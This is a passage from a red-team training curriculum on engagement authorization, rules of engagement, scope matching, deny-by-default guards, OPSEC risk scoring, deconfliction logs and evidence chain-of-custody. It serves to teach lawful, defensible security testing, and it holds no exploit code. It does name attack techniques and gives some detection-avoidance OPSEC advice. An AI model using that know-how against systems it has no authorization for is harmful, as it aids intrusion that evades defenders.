• Chapter 5: Time Windows and Rate Limits — The Other Two Gates
• Chapter 6: Stop Conditions and the Emergency Stop
• Chapter 7: OPSEC — How Loud Is This, and Who Hears It?
• Chapter 8: Indicators — The Telemetry Every Action Emits
• Chapter 9: Deconfliction — Answering "Was That You?"
• Chapter 10: Evidence and Chain-of-Custody
• Lab Walkthrough
• Success Criteria
• Common Mistakes / OPSEC Failures
• Interview Q&A
• References

Chapter 1: The Authorization Boundary — Knowledge Is Not Permission

Zero background. A red team consultant is a person a company pays to attack it. That sentence is strange until you internalize the single idea this whole phase exists to make reflexive: the same action — port-scanning a host, phishing an employee, dumping credentials — is either professional security work or a felony, and the only thing that decides which is authorization. Not skill. Not intent in your head. A signed contract, a named owner, and a written scope.

What it is. The authorization boundary is the line between actions you may take and actions you may not, defined by who owns the target and what they have agreed in writing to let you do. For this work it has four load-bearing parts you must be able to state out loud before any action:

OWNER        — who owns this asset, and who signed authority to let me test it?
SCOPE        — exactly which assets, methods, and time are permitted?
STOP         — what halts the engagement immediately, and who can pull that lever?
DECONFLICT   — who does the SOC call to ask "is this you?" — and how do I answer?

If you cannot name all four, you do not take the action. Full stop.

Why it exists. Computer-misuse law (the U.S. CFAA, the UK Computer Misuse Act, and equivalents in the Gulf states where this role operates) criminalizes unauthorized access — and "I was just testing," "it was reachable," or "I didn't change anything" are not defenses. The entire value a red team delivers depends on the engagement being lawful and the client being able to learn from it; an unauthorized action destroys both at once. The boundary is not bureaucracy bolted onto the fun part — it is the profession.

Under the hood — the distinction that matters. Separate three things people constantly conflate:

• Knowledge — understanding how a technique works. Legal, and the entire point of this curriculum.
• Capability — possessing the means to run it. Also legal to build in an owned lab.
• Authorization — being permitted to run it against a specific target. This is the boundary.

A red teamer and a criminal can have identical knowledge and capability. What differs is the third column. This is why this repo teaches the full adversary lifecycle but ships analyzers, planners, and guards over synthetic data — knowledge and (safe) capability, never an unauthorized action.

Telemetry it emits. The authorization boundary is a human/legal control, but it has an artifact: the signed authorization letter (the "get-out-of-jail" letter) and the ROE, kept reachable for the whole engagement. Its absence is the telemetry — an action with no traceable authorization is the thing an audit, a client, or a court will find.

How a defender deconflicts it. From the blue team's side, the boundary is what lets them treat a detected intrusion as possibly authorized. When the SOC sees suspicious activity, the first question in a mature shop is "is there an active engagement, and is this in its scope and window?" That question only has an answer if you wrote the boundary down and gave them the deconfliction contact.

Engagement significance. In Operation Cedar Lattice this is Phase 00's entire job: before you touch Meridian Freight International, you and Meridian sign the ROE, fix the scope, agree the stop conditions, and exchange deconfliction contacts. Every later phase inherits this boundary — the recon in Phase 03, the AD attack in Phase 05, the C2 in Phase 08 are all only lawful because of what you nailed down here.

Common misconceptions.

• "It's only illegal if I cause damage." No — unauthorized access is the offense; damage is an aggravating factor, not the threshold.
• "The system is on the public internet, so it's fair game." Reachability is never authorization.
• "I have a verbal OK from someone on the team." The signatory must have authority to grant access, and it must be in writing. Verbal scope is no scope.

Chapter 2: Rules of Engagement — The Contract That Makes It Legal

Zero background. The Rules of Engagement (ROE) is the document that turns "we hired a red team" into a precise, enforceable boundary. It is the contract the operator obeys and the client relies on. The track ships a template — templates/rules-of-engagement.md — and the discipline of this phase is filling every field, because the governing rule is: ambiguity defaults to out-of-scope.

What it is. A complete ROE answers seven questions:

Why it exists. Three failure modes it prevents, each a real incident pattern:

1. The scope-creep crime — an operator follows an attack path off the agreed assets onto a third party's infrastructure. The ROE's explicit out-of-scope list and deny-by-default scope stop this.
2. The business-impact incident — testing during month-end financial close knocks over an ERP, or an aggressive scan saturates a link. The time window, permitted-hours, and rate limits prevent it.
3. The false-alarm fire drill — the SOC mobilizes a real incident response over the red team's own activity. The deconfliction contact and procedure prevent it.

Under the hood — why "ambiguity defaults to out-of-scope." A natural-language scope is full of gaps: a /16 that contains a subnet nobody meant to include; "the corp domain" that someone reads as covering a sibling brand; "during business hours" with no timezone. The only safe interpretation rule is the deny-by-default one: if it is not explicitly, unambiguously in scope, it is out. The ROE is written so that every gap resolves to don't.

Telemetry it emits. The ROE itself is the primary record; combined with the authorization letter and the evidence manifest it forms the paper trail an engagement is judged by. A mature engagement can show, for any action, the ROE clause that permitted it.

How a defender deconflicts it. The client's trusted agent (the small set of people who know the test is happening) holds the ROE; when the SOC escalates, the trusted agent checks the action against the ROE's scope, methods, and window to confirm "yes, that is authorized red team activity."

Engagement significance. For Cedar Lattice, the ROE names Meridian's in-scope corp.* domain and 10.20.0.0/16, carves out payments.* and the 10.20.99.0/24 PCI subnet as out-of-scope, permits recon/exploitation/lateral-movement, forbids DoS and touching real customer data, sets a one-week window with a rate cap, and names the SOC deconfliction contact. Lab 01 is this ROE made executable.

Common misconceptions.

• "The ROE is the sales team's problem." The operator lives or dies by it; read and challenge every ambiguous clause before you sign.
• "More scope is better." No — tighter, clearer scope protects you. Vague breadth is liability.
• "The forbidden list is obvious." Write it down anyway: DoS, destructive actions, persistence past the window, real-data access, and social-engineering of named individuals are each a clause.

Chapter 3: Scope — What "In Scope" Actually Means

Zero background. Scope is the set of assets you are permitted to act against. It sounds simple — "these IPs and this domain" — but the precise mechanics of matching a target against a scope are where engagements go wrong. This chapter is the mechanism behind in_scope() in Lab 01.

What it is. A scope is three kinds of allowlist plus three matching denylists:

• CIDRs — network ranges, e.g. 10.20.0.0/16. A target IP is in scope if it is a member of an in-scope CIDR and not a member of an out-of-scope CIDR.
• Domains — e.g. corp.meridian-freight.test. A hostname is in scope if it matches an in-scope domain by exact-or-subdomain and does not match an out-of-scope domain.
• Accounts — emulation identities, e.g. svc-emul-01, matched by exact id.

Why exact-or-subdomain, not substring. Here is the single most important mechanism in Lab 01. The naive scope check is a substring test:

if scope_domain in target:   # WRONG — catastrophically permissive
    ...

This passes evil-meridian-freight.test for an in-scope meridian-freight.test, and worse, an attacker (or your own typo) can craft corp.meridian-freight.test.evil.example to look in-scope. The correct rule is:

target matches d  iff  target == d  OR  target endswith "." + d

So host1.corp.meridian-freight.test matches corp.meridian-freight.test (it is a subdomain), but evil-meridian-freight.test does not (it does not end with .corp.meridian-freight.test, and is a different registrable name entirely). This is the same logic browsers use for cookie domains and that TLS uses for wildcard certs — and getting it wrong is the same class of bug as a same-site cookie leak.

Under the hood — CIDR membership is real math, not strings. Do not compare IP strings. Use the ipaddress stdlib:

import ipaddress
ip = ipaddress.ip_address("10.20.99.10")
ip in ipaddress.ip_network("10.20.0.0/16")    # True
ip in ipaddress.ip_network("10.20.99.0/24")   # True  -> out-of-scope wins

10.20.99.10 is inside the in-scope /16 and inside the out-of-scope /24. Because out-of-scope overrides in-scope (Chapter 4), the target is denied — exactly the protected-subnet carve-out a real ROE has.

Telemetry it emits. A scope decision is logged with its reasons (Lab 01 returns a reason trail). That log, paired with the deconfliction log (Chapter 9), lets anyone reconstruct what was authorized.

How a defender deconflicts it. When the SOC asks "did the red team touch host X?", the answer is a scope lookup plus a deconfliction-log lookup. If host X was out of scope, and the team logged no action there, the SOC knows the activity is not the red team — a real finding.

Engagement significance. The scope is the spine of Lab 01 and of every later phase's target selection. Carry the Cedar Lattice scope object forward unchanged.

Common misconceptions.

• "The /16 covers everything inside it." Not if a sub-range is carved out — out-of-scope overrides.
• "Subdomains of an in-scope domain are obviously in scope." Only if your ROE says so and they are not separately carved out; encode it explicitly.
• "I can match domains with endswith alone." endswith("corp.com") matches evilcorp.com; you need the leading dot: endswith(".corp.com") plus the exact-equality case.

Chapter 4: Deny-by-Default — Why Authorization Must Fail Closed

Zero background. A guard can default two ways. Default-allow (denylist) permits everything except what is on a blocklist. Default-deny (allowlist) forbids everything except what is on an allowlist. This chapter argues — and Lab 01 enforces — that an authorization guard must be deny-by-default.

What it is. Deny-by-default means: an action is allowed only if it affirmatively matches an in-scope entry and passes every gate (scope, method, time, rate, no stop). Anything unrecognized, ambiguous, or merely "not obviously forbidden" is denied. The decision fails closed.

Why it exists. Consider the alternative. A denylist guard says "deny actions on the out-of-scope list, allow the rest." The moment the ROE author forgets to list a sensitive host — which they will, because you cannot enumerate every host you don't know about — that host is silently allowed. Deny-by-default inverts the failure: a forgotten entry means a false denial (annoying, you ask for clarification) instead of a false authorization (a crime). You want your mistakes to fail in the safe direction.

This is the same principle as a firewall's default-drop egress policy, an IAM explicit-deny, and a WAF positive-security model. It is the single most important design rule in all of security, and Phase 00 makes you live it before you attack anything.

Under the hood — the gate structure. Lab 01's check_action is a conjunction of gates that collects every failure rather than short-circuiting:

ALLOW  iff  NOT stop_engaged
       AND  in_scope(target)              # explicit in-scope, out-of-scope overrides
       AND  method_allowed(method)        # allowlist
       AND  within_window(timestamp)      # [start, end)
       AND  rate_ok(timestamp, history)   # count in rolling window <= limit
otherwise DENY with the list of every failing reason

Two design choices matter. First, out-of-scope overrides in-scope inside in_scope() — the denylist is consulted before the allowlist, so a carve-out always wins. Second, the guard does not short-circuit: it reports all failing gates, because a deconfliction report and an audit need to see every reason an action was refused, not just the first.

Telemetry it emits. Every decision yields {decision, reasons}. The reason trail is the audit artifact — it is what you attach to the engagement log and hand to the trusted agent.

How a defender deconflicts it. Deny-by-default is also the control you will recommend to the client: the engagement that succeeds by bypassing a default-allow egress rule writes itself into the report as "implement deny-by-default egress." The pattern you enforce on yourself is the pattern you sell.

Engagement significance. Lab 01 is a deny-by-default guard end to end. Internalize it: by the time you reach cloud IAM (Phase 09) you will read Deny overriding Allow as the same idea.

Common misconceptions.

• "Default-allow is fine if my denylist is good." Your denylist is never complete; you cannot list the unknown.
• "Fail-closed just means more friction." It means the friction lands on safe mistakes, not dangerous ones — which is the entire point.
• "Short-circuit on the first failure for speed." For an authorization guard, completeness of reasons beats microseconds; collect them all.

Chapter 5: Time Windows and Rate Limits — The Other Two Gates

Zero background. Scope answers where; the window and the rate answer when and how fast. Both are gates in their own right — an in-scope, permitted action run at the wrong time or too aggressively is still a violation and still a business risk.

What it is.

• A time window is a [start, end) interval: a start (inclusive) and an end (exclusive). The half-open convention matters — an action at exactly end is outside the window. (This is the same convention as a Python range or a half-open interval in math; using it avoids the off-by-one where two adjacent windows both claim the boundary instant.)
• A rate limit caps how many actions may occur within a rolling time window, e.g. "no more than 3 actions per 60 seconds." It is the engagement-OPSEC and business-safety throttle: it keeps you from hammering a service into an outage and from generating a wall of alerts.

Why it exists. Two distinct risks. The window prevents out-of-hours business impact (no testing during the change freeze, the financial close, or peak operational hours) and bounds the engagement legally in time — your authorization is not open-ended. The rate limit prevents denial-of-service by accident (a scan that saturates a link is a DoS even if you didn't mean it) and keeps your activity below the threshold where it becomes operationally disruptive.

Under the hood — the rolling-window rate check. Lab 01 counts prior actions in the half-open interval (t - W, t] from a supplied history and compares count + 1 (including the new action) to the limit:

window = (timestamp - rate_window_secs, timestamp]
count  = number of history actions with ts in that window
ALLOW  iff  count + 1 <= rate_limit

Because the history and timestamp are supplied by the caller, the check reads no clock and is perfectly reproducible — the same inputs always give the same decision. (A production guard would source history from a persisted action log; here it is a parameter so tests are deterministic.)

Telemetry it emits. Rate-limited actions appear as gaps in your own action log; from the defender's side, an engagement that respects a rate limit produces a characteristically paced signal, which is itself a deconfliction aid ("the spike at 02:14 was 200 req/s — not the red team, who are capped at 3/min").

How a defender deconflicts it. The window is the SOC's first filter: an alert outside the agreed window is, by default, not the red team and should be treated as a real incident. This is why the window must be exact and timezone-pinned.

Engagement significance. In Cedar Lattice the window is one week with a per-minute rate cap; acting at exactly the window-end instant is denied, and a 4th action inside a minute is denied. Both are tested in Lab 01.

Common misconceptions.

• "The window is closed at both ends." It is half-open; end is excluded by convention to avoid boundary ambiguity. Be explicit either way and test the boundary.
• "Rate limits are just politeness." An uncapped scan is an accidental DoS — a forbidden method by another name.
• "Timezone is obvious." It is the single most common scope-window bug. Pin it in the ROE.

Chapter 6: Stop Conditions and the Emergency Stop

Zero background. A stop condition is anything that must halt the engagement immediately. The emergency stop is the procedure that does it. Together they are the engagement's circuit breaker — the acknowledgment that even a well-scoped test can go wrong and must be haltable in seconds.

What it is. Stop conditions are written into the ROE and typically include: a production outage or degradation, the discovery of a real (non-red-team) intrusion, a safety risk to people, an inadvertent reach into out-of-scope or real customer data, or a client request to halt. When any fires, all activity stops until the trusted agent and the client agree to resume.

Why it exists. Two reasons. First, harm limitation: if your activity is causing a real business problem, no objective is worth continuing. Second, incident clarity: if a real attacker is in the environment, the red team's noise makes the defender's job impossible — you stop so the real incident can be handled cleanly, and so your activity is never confused with the adversary's.

Under the hood — the latch. In Lab 01 the stop condition is a stop_engaged latch on the ROE. When set, check_action denies every action unconditionally, regardless of scope, method, window, or rate — the stop gate is checked first and dominates. This models the operating reality: when the stop is pulled, nothing is authorized, no exceptions, until it is explicitly cleared.

if stop_engaged:  every action -> DENY ("stop-condition-engaged")

Telemetry it emits. The emergency stop is logged with its trigger, time, and who pulled it — it is a first-class event in the engagement record, because "we stopped at 14:32 when the ERP degraded" is exactly what the after-action and the client trust depend on.

How a defender deconflicts it. The stop condition is bidirectional: the client can pull it too. The deconfliction contact is also the emergency-stop channel — the SOC calls, says "we have a real incident, stand down," and the operator latches the stop. The red team that cannot be reached to stop is a red team that will not be hired again.

Engagement significance. For Cedar Lattice the stop conditions are: any Meridian production outage, any sign of a real intruder, any reach toward the PCI subnet or real customer data, and any client stand-down. Lab 01's stop latch enforces the first principle: a stopped engagement authorizes nothing.

Common misconceptions.

• "Stopping means I failed." Stopping correctly is a mark of a senior operator; the failure is not stopping.
• "I'll finish this one action first." When the stop is pulled, you stop now — the latch denies everything precisely so there is no "one more."
• "Only the client can stop." Either side can; you must monitor your own activity for stop triggers too.

Chapter 7: OPSEC — How Loud Is This, and Who Hears It?

Zero background. OPSEC (operational security) is the discipline of controlling the observable signal your activity produces. For a red teamer it answers: how loud is this action, how unusual does it look, how much does it touch, and how hard is it to undo? Every action sits somewhere on those axes, and the senior skill is choosing where — not stumbling there.

What it is. Lab 02 models OPSEC risk as a transparent weighted sum over five attributes:

score = 3*noise + 2*novelty + 3*blast_radius + 1*time_of_day + 2*irreversibility
band  = low (<4) | medium (<9) | high (<15) | critical (>=15)

Why it exists. OPSEC is what makes an emulation realistic (a real adversary minimizes detection) and what keeps the engagement controlled (you decide what to trip, deliberately, so the blue team's response is a measured outcome and not chaos). The weighted score turns a gut feeling ("this is loud") into a number you can compare, threshold, and defend in the report.

Under the hood — why a transparent linear model, not a black box. The weights are exposed as a module constant precisely so a reviewer (and a test) can see exactly what drives a decision. A calibrated ML model might score more accurately, but a red team decision must be explainable: "this action scored critical because blast radius and noise dominate" is something you can defend to a client and tune to their detection maturity. The model is a defensible default, not a claim of precision — and the README says so.

Telemetry it emits. This is the meta-point of the whole chapter: a high-OPSEC-risk action is, by definition, one that emits a lot of telemetry. Chapter 8 enumerates exactly what. The score and the indicators are two views of the same thing — what will the defender see?

How a defender deconflicts it. The OPSEC score directly drives the deconfliction decision (Chapter 9): above a threshold, the action is loud enough that the SOC must be warned in advance or they will (correctly) treat it as an incident. Quiet recon does not need a phone call; a noisy lateral move to a domain controller does.

Engagement significance. Every Cedar Lattice action gets an OPSEC assessment before it runs. Lab 02 is that assessment: score, band, indicators, deconfliction decision — the operator's pre-flight check.

Common misconceptions.

• "OPSEC means never getting caught." No — for a red team it means controlling what gets caught, on purpose, to produce a measured detection outcome.
• "Off-hours is stealthier." Often the opposite — your activity stands alone against a quiet baseline. Blending into business-hours noise can be quieter.
• "A black-box score is more rigorous." For a defensible decision, transparency beats accuracy.

Chapter 8: Indicators — The Telemetry Every Action Emits

Zero background. An indicator is an observable trace an action leaves behind. Every offensive action emits indicators on one or more planes: the host (process, file, registry, memory events), the network (connections, protocols, traffic shape), and the identity plane (authentication, ticket requests, sign-in anomalies). Naming them is the act that converts offensive knowledge into a detection-paired asset.

What it is. Lab 02 carries an INDICATOR_CATALOG mapping each method to the indicators it characteristically leaves, split by plane. A slice:

Why it exists. This is the bridge from offense to defense and the reason this curriculum is a hireable one. For every technique you can perform, you must be able to say what a sensor sees. That single ability is what lets you (a) deconflict honestly with the SOC, (b) write the detection in the report, and (c) predict — in Phase 07 — exactly what the client's EDR, AMSI, and ETW telemetry will and won't catch. An operator who cannot enumerate indicators is running offensive theater.

Under the hood — the three planes, and why they matter. Detection lives in different telemetry sources, and a technique is only caught if the right plane is instrumented:

• Host — Sysmon, ETW, EDR. Catches process creation, injection, LSASS access. The richest plane, but only if the agent is deployed and the events are shipped.
• Network — Zeek, Suricata, NetFlow, proxy logs. Catches scanning, C2 beaconing, large exfiltration. Survives even when the host agent is blind, which is why C2 OPSEC obsesses over it.
• Identity — domain-controller logs (EID 4624/4769), cloud sign-in logs. Catches Kerberoasting, pass-the-ticket, impossible-travel sign-ins. The plane most often under-instrumented and the one AD attacks (Phase 05) live in.

The catalog annotates several indicators with their concrete event id (Sysmon EID 1, PowerShell 4104, Kerberos 4769, logon 4624) so the leap to a Sigma rule in Phase 07 is mechanical.

Telemetry it emits. The chapter is the telemetry. The point: an indicator list is the deliverable that lets a defender write the detection — indicators() in Lab 02 is the seed of every Sigma rule the engagement will produce.

How a defender deconflicts it. When the SOC sees one of these indicators and asks "was that you?", the operator's deconfliction log (Chapter 9) carries the expected indicators for each logged action — so the SOC can match the alert to the action and confirm.

Engagement significance. Lab 02's indicators() is the first appearance of the detection-pairing discipline that every later phase deepens, culminating in the Phase 07 telemetry-gap map and the Phase 12 durable detections.

Common misconceptions.

• "If I evade the EDR, I'm invisible." You may still light up the network and identity planes; a technique is only invisible if every instrumented plane misses it.
• "Indicators are IOCs (hashes/IPs)." Those are the brittle bottom of the Pyramid of Pain; behavioral indicators (the events above) are what durable detections target.
• "I'll figure out the telemetry later." You enumerate it before you act, because it drives the deconfliction decision.

Chapter 9: Deconfliction — Answering "Was That You?"

Zero background. Deconfliction is the process that lets the client's defenders distinguish the red team's activity from a real adversary's. It has two halves: pre-deconfliction (warning the SOC before a noisy action) and the deconfliction log (the record that answers "was that you?" after the fact). It is the single most important operating relationship in an engagement.

What it is. Concretely:

• A deconfliction contact — a 24/7 channel (a trusted agent at the client) the SOC calls to ask "is this activity yours?"
• Pre-deconfliction — for high-risk actions (above an OPSEC threshold), you notify the contact before you act, so a predictable alert doesn't trigger a real incident response.
• The deconfliction log — an append-only record of every action: timestamp, operator, method, the indicators it was expected to emit, and a note. This is what answers a retrospective "was that you?" for any time window.

Why it exists. Without deconfliction, two expensive failures happen. (1) The SOC sees the red team's activity, doesn't know it's authorized, and launches a real incident response — pulling people out of bed, possibly containing systems and breaking the engagement. (2) Worse, the red team's noise masks a real intrusion happening at the same time, and the genuine attacker is lost in the red team's traffic. The deconfliction log prevents both by letting the SOC instantly separate "ours" from "not ours."

Under the hood — the log and the lookup. Lab 02's DeconflictionLog is append-only and kept sorted by (timestamp, name) so lookups are deterministic regardless of insertion order. The core operation is the time-windowed lookup:

SOC alert fires at time T  ->  log.lookup(T - delta, T + delta)
  returns every logged action in the window, with its operator and expected indicators
  empty result  =>  "not us"  =>  treat as a real incident
  match         =>  "that was us"  =>  confirm indicators, stand down

requires_deconfliction(action) decides the pre-deconfliction side: it returns true when the OPSEC score (Chapter 7) is at or above the threshold. Loud, novel, wide-blast actions get a phone call first; quiet recon does not.

Telemetry it emits. The log is itself the engagement's operating telemetry, and at engagement end it feeds the tooling-IOC handoff (templates/evidence-manifest.md) — the list of your own indicators (files, named pipes, domains, JA3) the SOC uses to clean up after you.

How a defender deconflicts it. This is the defender's process. The maturity test for a SOC is exactly: "when you see suspicious activity, can you check it against an authorized engagement before escalating?" The red team makes that possible by keeping the log accurate and the contact reachable.

Engagement significance. In Cedar Lattice, before the noisy psexec-to-domain-controller move you pre-deconflict with Meridian's SOC; afterward, when an EID 4624 alert fires, the SOC queries the log, sees your logged action with its expected indicators, and stands down in minutes instead of mounting an incident. Lab 02 is this entire workflow in code.

Common misconceptions.

• "Deconfliction ruins the test of the SOC's detection." No — you can still measure detection (did the alert fire?) while preventing a wasteful response. You're testing the sensor, not the 3 a.m. fire drill, unless the ROE specifically scopes a response test.
• "I'll log actions at the end." The log must be live; a retrospective "was that you?" can come mid-engagement.
• "Only loud actions need logging." Pre-deconfliction is for loud actions; the log records everything, because any action might generate an alert.

Chapter 10: Evidence and Chain-of-Custody

Zero background. Everything you collect — a log, a capture, a screenshot, a synthetic flag — is evidence, and a client (or a court) will only trust your narrative if that evidence has an unbroken chain of custody: a record of where it came from, when, who collected it, and any change made to it.

What it is. The track's evidence-manifest.md logs, for every artifact: the source (host/account/range), the collection time with timezone, the collector, a SHA-256 hash taken at collection, any transformations (e.g. redaction), and notes. The governing rules: hash at collection; never edit an original (work on copies and record the transformation); redact any real credential, token, or personal data before the artifact leaves the secure store.

Why it exists. Two reasons. Trust — a finding backed by a hashed, timestamped artifact is defensible; one backed by "I remember seeing this" is not. Safety — the redaction and no-real-data rules keep the engagement from accumulating exactly the sensitive data a breach of your storage would expose. The evidence discipline is the data-minimization principle applied to offense.

Under the hood — hashing at collection. The SHA-256 hash, taken the instant the artifact is collected, is the integrity anchor: it proves the artifact you present is the artifact you collected, unaltered. Any later transformation (cropping a screenshot, redacting a token) is done on a copy and noted, so the chain is intact.

Telemetry it emits. The manifest is your own audit trail; combined with the deconfliction log it is the complete operating record of the engagement — what you did, when, and what you collected.

How a defender deconflicts it. At engagement end the tooling-IOC handoff section of the manifest gives the SOC the indicators of your own tooling (on-disk names, named pipes/mutexes, network indicators, persistence created) so they can verify cleanup — the courteous, professional close that turns a one-off test into a repeat client.

Engagement significance. For Cedar Lattice, every artifact — from the Phase 03 pivot map to the Phase 09 cloud IAM finding — lands in this manifest, hashed and sanitized, and the public portfolio ships only the sanitized version. The raw evidence never leaves the encrypted store.

Common misconceptions.

• "I'll hash it later." Later is too late — the hash must anchor the artifact as collected.
• "Screenshots are harmless." They routinely leak real hostnames, tokens, and PII; redact before they leave the store.
• "More evidence is better." Collect the minimum needed to explain and remediate; every extra artifact is extra risk.

Lab Walkthrough

Two labs, in order. Do Lab 01 first — authorization is the gate everything else sits behind.

Lab 01 — Engagement ROE Authorization Guard. Order of TODOs:

1. _is_ip and _ip_in_cidrs — get CIDR membership right with ipaddress before anything else; everything depends on it. Test 10.20.99.10 against both the /16 and the /24.
2. _domain_match — the exact-or-subdomain matcher. This is the one with the subtle bug; write the substring trick into your head (evil-meridian-freight.test must fail) before you code it.
3. in_scope — compose the two: out-of-scope denylists first (they override), then in-scope allowlists, for IPs, accounts, and domains. Deny-by-default for anything unmatched.
4. method_allowed and within_window — the two simple gates; remember the window is half-open.
5. _rate_count — count history actions in the rolling (t - W, t] window.
6. check_action — assemble the gates, collecting every failing reason, stop-condition first. ALLOW only when the reason list is empty.

Lab 02 — OPSEC Risk Scorer + Deconfliction Log. Order of TODOs:

1. score_action — the weighted sum; match the WEIGHTS constant exactly.
2. risk_band — map the score through BANDS; mind the exclusive upper bounds and the top band.
3. indicators — look the method up in INDICATOR_CATALOG, return lists per plane, empty for unknown methods.
4. requires_deconfliction — the threshold comparison (>=).
5. assess — bundle the four into one dict.
6. DeconflictionLog.record / lookup / was_this_us — append-and-sort, inclusive-window lookup, non-empty check. Keep it sorted so lookups are deterministic.

Run LAB_MODULE=solution pytest -q to see the reference pass, then implement lab.py until pytest -q is green.

Success Criteria

You have understood this phase — not just passed the tests — when you can, without notes:

• State the four things you must name before any action, and explain why authorization (not knowledge) is the boundary.
• Explain why an authorization guard must be deny-by-default and why out-of-scope overrides in-scope, with the protected-subnet example.
• Write the exact-or-subdomain rule and explain the substring trick it defeats.
• Score an action's OPSEC risk, name the band, and enumerate the indicators it emits on each of the three planes.
• Decide whether an action needs pre-deconfliction and explain what the deconfliction log answers.
• Walk the SOC's 3 a.m. "was that you?" call end to end, from alert to lookup to stand-down.

Common Mistakes / OPSEC Failures

• Substring scope matching — in target lets look-alike domains through. Exact-or-subdomain only.
• In-scope superset hiding a carve-out — out-of-scope must override, or you hit a protected subnet.
• String-comparing IPs — always use ipaddress membership; "10.20.99.10".startswith("10.20") is not CIDR math.
• Closed window — the window is half-open; acting at exactly end is out, and the timezone must be pinned.
• Short-circuiting the guard — collect every failing reason; the deconfliction report needs them.
• Acting before deconfliction — a predictable loud action with no heads-up burns the SOC's night.
• No indicator enumeration — "I can't say what that emits" means it can't be deconflicted or detected.
• Logging at the end — the deconfliction log must be live for a mid-engagement "was that you?".
• Practicing on something reachable — reachability is never authorization.
• Not stopping when the stop is pulled — the latch denies everything precisely so there is no "one more action."

Interview Q&A

Q1. What separates a red team engagement from a crime, and what four things must you be able to state before any action? Authorization and intent, not knowledge or skill. The same action — scanning, phishing, credential dumping — is professional work under a signed contract and a felony without one. Before any action I must be able to name four things: the owner (and a signatory with authority to grant access), the scope (which assets, methods, and time are permitted), the stop conditions (what halts the engagement and who can pull that lever), and the deconfliction contact (who the SOC calls to ask "is this you?"). If I cannot name all four, I do not act. Computer-misuse law criminalizes unauthorized access — "it was reachable" and "I caused no damage" are not defenses — so the authorization, written and signed, is the entire boundary.

Q2. Why must an authorization guard be deny-by-default, and why does out-of-scope override in-scope? Because you cannot enumerate the unknown. A default-allow (denylist) guard silently authorizes any sensitive host the ROE author forgot to list — and they will forget, because nobody can list every host they don't know about. Deny-by-default inverts the failure mode: a forgotten entry becomes a false denial (you ask for clarification) instead of a false authorization (a crime). You want mistakes to fail in the safe direction. Out-of-scope overrides in-scope for the same reason: a real ROE carves protected sub-ranges out of broad in-scope ranges — a PCI /24 inside an in-scope /16 — and the only safe interpretation is that the explicit denylist always wins, so a careless superset never silently authorizes a protected asset.

Q3. How do you stop a scope check from being fooled by a look-alike domain? Never use substring matching. scope in target passes evil-meridian-freight.test for an in-scope meridian-freight.test, and even endswith("corp.com") passes evilcorp.com. The correct rule is exact-or-subdomain: target == d or target ends with "." + d. That makes host1.corp.example match corp.example (a true subdomain) while evilcorp.example and corp.example.attacker.test both fail. For IPs the analogous mistake is string comparison; use real CIDR membership via the ipaddress stdlib so 10.20.99.10 is correctly recognized as inside both the in-scope /16 and the out-of-scope /24 — and denied because out-of-scope wins.

Q4. What is OPSEC, and how would you score the risk of a planned action? OPSEC is controlling the observable signal your activity produces — for a red team, deliberately choosing what to trip rather than stumbling into it. I score an action with a transparent weighted sum over five attributes: noise (telemetry generated), novelty (how anomalous it looks against a baseline — anomaly is detection bait), blast radius (how many hosts/identities it touches), time of day (off-hours stands out against a quiet baseline), and irreversibility (how hard it is to undo, which multiplies the harm if it goes wrong). The sum maps to a band — low/medium/high/critical — and the band drives the deconfliction decision. I keep the model linear and the weights visible precisely because a red team decision must be explainable to a client and tunable to their detection maturity; a black-box score I can't defend is worse than a transparent one I can.

Q5. What is deconfliction, what is the deconfliction log for, and what goes wrong without it? Deconfliction is what lets the client's defenders tell my activity from a real adversary's. It has two halves: pre-deconfliction — warning the SOC before a high-OPSEC action so a predictable alert doesn't trigger a real response — and the deconfliction log — an append-only, time-sorted record of every action with its operator, method, and expected indicators, so the SOC can answer a retrospective "was that you?" for any window. Without it, two expensive things happen: the SOC launches a real incident response over my authorized activity (people out of bed, systems possibly contained, the engagement broken), or — worse — my noise masks a genuine intrusion happening at the same time and the real attacker is lost in my traffic. The log lets the SOC instantly separate "ours" from "not ours."

Q6. The SOC calls at 3 a.m. about an alert — walk me through how you answer "was that you?". I take the alert's timestamp and query the deconfliction log for a window around it. If the log returns a matching action, I read back its operator, method, and the indicators it was expected to emit, and confirm they match what the SOC is seeing — "yes, that EID 4624 from the jump host at 02:14 was operator B's lateral move, here are the expected indicators, please stand down." If the log returns nothing in that window, my answer is "that is not us — treat it as a real incident," which is just as valuable, because I've told them where the boundary of my activity is. Either way the log, kept live and time-sorted, turns a potential hours-long fire drill into a two-minute lookup. And if the SOC's call is actually a stop request, I latch the stop condition and every further action is denied until we agree to resume.

Q7. How do you handle evidence so a client trusts your findings? Chain of custody. Every artifact is logged at collection time in the evidence manifest with its source, collection time and timezone, collector, and a SHA-256 hash taken at collection — the integrity anchor that proves the artifact is unaltered. I never edit an original; transformations (cropping, redaction) happen on copies and are recorded. I redact any real credential, token, or PII before an artifact leaves the secure store, and I collect the minimum needed to explain and remediate — every extra artifact is extra risk if my storage is ever breached. At engagement end I hand the SOC the tooling-IOC list (my own files, pipes, domains, persistence) so they can verify cleanup. A finding backed by a hashed, timestamped, sanitized artifact is defensible; one backed by memory is not.

Q8. The client wants you to test their detection. How do you reconcile that with deconfliction — won't telling them ruin the test? No, because detection and response are different things, and I scope which one I'm testing. I can pre-deconflict an action and still measure whether the sensor fired — did the Sigma rule trigger, did the alert reach the SOC queue? — without forcing a wasteful 3 a.m. response. If the ROE specifically scopes a response test (a "did the SOC react correctly" exercise), I keep a tighter trusted-agent circle and a clear stop channel, but even then the deconfliction log records everything so that if a real incident happens during the test, we can separate it instantly. Deconfliction never blinds the sensor; it just keeps the human response measured and reversible. The durable deliverable is the same either way: the detection-gap map and the Sigma rules the client keeps.

References

Primary sources first.

• Vest & Tubberville — Red Team Development and Operations. The operating discipline: ROE, deconfliction, OPSEC, the engagement cadence.
• PTES — Penetration Testing Execution Standard, Pre-engagement Interactions. Scope, rules of engagement, and the authorization ("get-out-of-jail") letter.
• NIST SP 800-115 — Technical Guide to Information Security Testing and Assessment. Rules of engagement, coordination, handling of sensitive data.
• MITRE ATT&CK — Data Sources / Data Components. The mapping from technique to the telemetry that detects it; the basis for Lab 02's indicator catalog (revisited in Phase 07).
• MITRE D3FEND and the Pyramid of Pain (David Bianco). Why behavioral indicators beat brittle IOCs — the durable-detection argument behind Chapter 8.
• OSSTMM and CREST engagement-management guidance. The consulting-side discipline for scoping and running assessments.
• CFAA (U.S.), the UK Computer Misuse Act, and Gulf-state computer-crime statutes. The legal frame that makes authorization, not knowledge, the boundary.
